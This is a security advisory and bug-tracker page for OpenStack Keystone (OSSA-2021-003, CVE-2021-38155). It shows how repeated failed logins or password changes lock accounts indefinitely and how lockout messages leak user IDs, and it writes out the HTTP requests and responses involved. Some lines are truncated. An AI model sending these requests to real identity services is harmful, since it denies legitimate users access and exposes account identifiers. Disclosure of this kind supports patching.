[OSSA-2021-003] Account name and UUID oracles in account locking (CVE-2021-38155)
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack Identity (keystone) |
Triaged
|
Medium
|
David Wilde | ||
OpenStack Security Advisory |
Fix Released
|
Medium
|
Jeremy Stanley |
Bug Description
This relates to PCI DSS features added in the Newton release.
The involved PCI DSS requirements are 8.1.6 and 8.1.7, as described below:
8.1.6 Limit repeated access attempts by locking out the user ID after not more than six attempts.
8.1.7 Set the lockout duration to a minimum of 30 minutes or until an administrator enables the user ID.
The options lockout_
If those options are enabled in the keystone configuration file, for example:
[security_
# Setting the account lockout threshold
lockout_
lockout_duration = 10
All users in the cloud get exposed and can be subject of an attack.
The attacker could lock out an user account by:
1) Try to auth on a user's behalf:
POST /v3/auth/tokens
{ "auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"name": "sam",
"domain": { "id": "default" },
}
}
}
}
}
And after lockout_
{
"error": {
"code": 401,
"title": "Unauthorized",
"message": "The account is locked for user: 94ab353983174b0
}
}
And now the attacker even know the user's ID.
OR
2) Try to change a user's password on their behalf (would need to know the user's ID):
POST /v3/users/
{
"user": {
"original_
"password": "new_password"
}
}
As the original password is wrong (as the attacker do not know it), after lockout_
For both 1) and 2), before lockout_
{
"error": {
"code": 401,
"title": "Unauthorized",
"message": "The request you have made requires authentication."
}
}
After lockout_
{
"error": {
"code": 401,
"title": "Unauthorized",
"message": "The account is locked for user: 94ab353983174b0
}
}
These approaches can be used by an attacker to lock out users indefinitely by locking out users again and again after lockout_duration has passed.
CVE References
summary: |
- Attacker may use self-service password reset to lock out users - indefinitely + Attacker may use PCI-DSS 8.1.6 and 8.1.7 to lock out users indefinitely |
description: | updated |
summary: |
- Attacker may use PCI-DSS 8.1.6 and 8.1.7 to lock out users indefinitely + PCI-DSS account lock out DoS and account UUID lookup oracle |
summary: |
- PCI-DSS account lock out DoS and account UUID lookup oracle + Account name and UUID oracles in account locking (CVE-2021-38155) |
summary: |
- Account name and UUID oracles in account locking (CVE-2021-38155) + [OSSA-2021-003] Account name and UUID oracles in account locking + (CVE-2021-38155) |
Changed in keystone: | |
assignee: | nobody → David Wilde (dave-wilde) |
This can get even worse. An attacker can simply use a user name and user's domain name to call /v3/auth/tokens on their behalf and get their account locked.
For example:
POST /v3/auth/tokens
{ "auth": {
"password" : "fake_password"
"identity": {
"methods": ["password"],
"password": {
"user": {
"name": "sam",
"domain": { "id": "default" },
}
}
}
}
}
And after lockout_ failure_ attempts attempts, the server returns:
{ 4955fc9842779b0 85."
"error": {
"code": 401,
"title": "Unauthorized",
"message": "The account is locked for user: 94ab353983174b0
}
}
And now the attacker even know the user's ID.